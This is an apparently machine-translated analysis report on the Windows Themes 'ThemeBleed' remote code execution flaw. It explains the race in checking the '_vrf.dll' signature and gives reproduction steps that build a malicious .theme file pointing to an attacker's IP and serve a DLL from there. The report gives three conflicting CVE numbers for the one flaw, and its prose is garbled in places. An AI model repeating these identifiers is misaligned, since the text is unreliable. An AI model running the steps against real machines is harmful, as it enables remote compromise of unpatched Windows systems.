**Windows Themes Remote Code Execution Vulnerability (CVE-2023-38146)**

**Deep analysis report**

**Catalogue**

[1. Basic information 1](#_Toc146125689)

[2. Threat assessment 1](#_Toc146125690)

[3. The security status of the affected assets 2](#_Toc146125691)

[4. Disposal advice 2](#_Toc146125692)

[5. The full utilization process 3](#_Toc146125693)

[6. Use of monitoring and protection 6](#_Toc146125694)

1.Basic information

|  |  |  |  |
| --- | --- | --- | --- |
| **Vulnerability name** | Windows Themes Remote code execution vulnerability | | |
| **Open time** | 2023-09-13 | **refresh time** | 2023-09-20 |
| **CVE number** | CVE-2023-36900 |
| **Threat type** | Code execution | **Technology type** | Improper data verification |
| **Manufacturer name** | Microsoft | **Product name** | Windows |
| **Real threat state** | | | |
| **POC state** | **EXP state** | **Use state in the field** | **Technical detail status** |
| **publiced** | unknown | Nd | **publiced** |
| **Vulnerability description** | Due to improper data validation in Windows Themes, when the subject is version 999, check \_ vrf. The dll file is closed and opened again, creating a competition window, in which the attacker can replace the validated files with unsigned malicious files. The malicious DLL is then loaded and executed. This results in remote code execution. | | |
| **Influence version** | Windows 11 Version 22H2 for x64-based Systems  Windows 11 Version 22H2 for ARM64-based Systems  Windows 11 version 21H2 for ARM64-based Systems  Windows 11 version 21H2 for x64-based Systems | | |
| **Other affected components** | None | | |

2. Threat assessment

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **CVSS 3.1 for Rating** | **high risk** | **The CVSS 3.1 score** | | 8.8 |
| **CVSS vector** | **Access route (AV)** | | **Attack complexity (AC)** | |
| network | | low | |
| **Required permission (PR)** | | **User Interaction (UI)** | |
| non-essential | | essential | |
| **incidence (S)** | | **Confidentiality Impact (C)** | |
| no change | | high | |
| **Integrity Impact (I)** | | **Availability Effects (A)** | |
| high | | high | |
| **Hazard description** | The remote attacker can induce the victim to click on the special theme file to trigger the vulnerability, and can successfully exploit the vulnerability to execute the code remotely. | | | |

3. The security status of the affected assets

Not available

4. Disposal advice

|  |  |  |
| --- | --- | --- |
| **Self-examination and testing scheme** | 1. Pass version detection (recommended update to latest version)   2, by PoC | |
| **Automated vulnerability scanning method** | Not available | |
| **Repair mitigation measures** | Please keep automatic updates enabled, or refer to the following link to upgrade to the secure version: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36874 | |
| **Repair solution (including vulnerability patches)** | Microsoft has now released a security update, and users can obtain it through the Windows update. If it cannot update automatically, please refer to the following link to download and install the corresponding version of the security patch:  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36874 | |
| **The effects of the repair caused** | Need to restart the operating system | yes |
| Need to restart the application system | deny |
| other |  |

5. The full utilization process

|  |  |
| --- | --- |
| **EXP/POC** | See the attachment for the PoC. |
| **Use details to describe** | On the Windows,.theme The file allows for the customization of the operating system appearance. The.theme file itself is an ini file that contains the configuration details. Click on the Windows 11.theme The file will call the following command:  "C:\WINDOWS\system32\rundll32.exe" C:\WINDOWS\system32\themecpl.dll,OpenThemeAction <theme file path>  The.msstyles file can be used in.theme The file is referenced in the following ways:  [VisualStyles ]  Path=%SystemRoot %\resources\Themes\Aero\Aero.msstyles  equal.theme When the file is opened, this is. The msstyles file is also loaded.  With "Mark-of-the-Web".theme 、.themepac k The file can bypass the security warning, click on the file is loaded on the remote machine.msstyles      The vulnerability appears in the processing.msstyles The process of the file  In loading.msstyles Document when, uxtheme. The LoadThemeLibrary function in dll will check the version of the subject. It does the version checking by loading a resource named PACKTHEM\_VERSION. If the read has the version number 999, it calls the function ReviseVersionIfNecessary.    The ReviseVersionIfNecessary function does the following:  1. Through the in.msstyles File path is attached after the " \_ vrf. To dll " to create a new file path.  2. Check out this new " \_ vrf. Does the dll " file exist. If not, exit.  3. Open the words " \_ vrf.dll" document.  4. Verify that the " \_ vrf. Signing of the dll " file. Exit if the signature is invalid.  5. Close the " \_ vrf.dll" document.  6. Will " \_ vrf. The dll " file is loaded as a DLL and calls the VerifyThemeVersion function.  Since ReviseVersionIfNecessary closed \_ vrf in step 5 after checking the signature. The dll file only calls the LoadLibrary loading dll in step 6, resulting in a competition window between the two steps, the attacker can replace the dll file with the malicious file, after which the malicious dll will be loaded and executed. |
| **Use the description results and screenshots** | Environmental preparation:  attack plane:  Either Windows 10, or 11  Disable Server Service Release SMB port (restart machine after disabled)  Install the latest version.Net  The target machine can be accessed  drone aircraft:  No Windows 11 for the September 2023 patch is installed  Recreation steps:   1. Run the following command on the attack machine to make it.theme File: themebleed.exe make\_theme <attacker machine ip > exploit.theme 2. Run the themebleed on the attack machine.exe server 3. Target machine to open the exploit.theme   PoC Repeat Results: |

Vi. Use of monitoring and protection

**6.1 Threat hunting ideas and methods**

Not available

**6.2 Detection and alarm rules and protection strategies on the safety equipment side**

Not available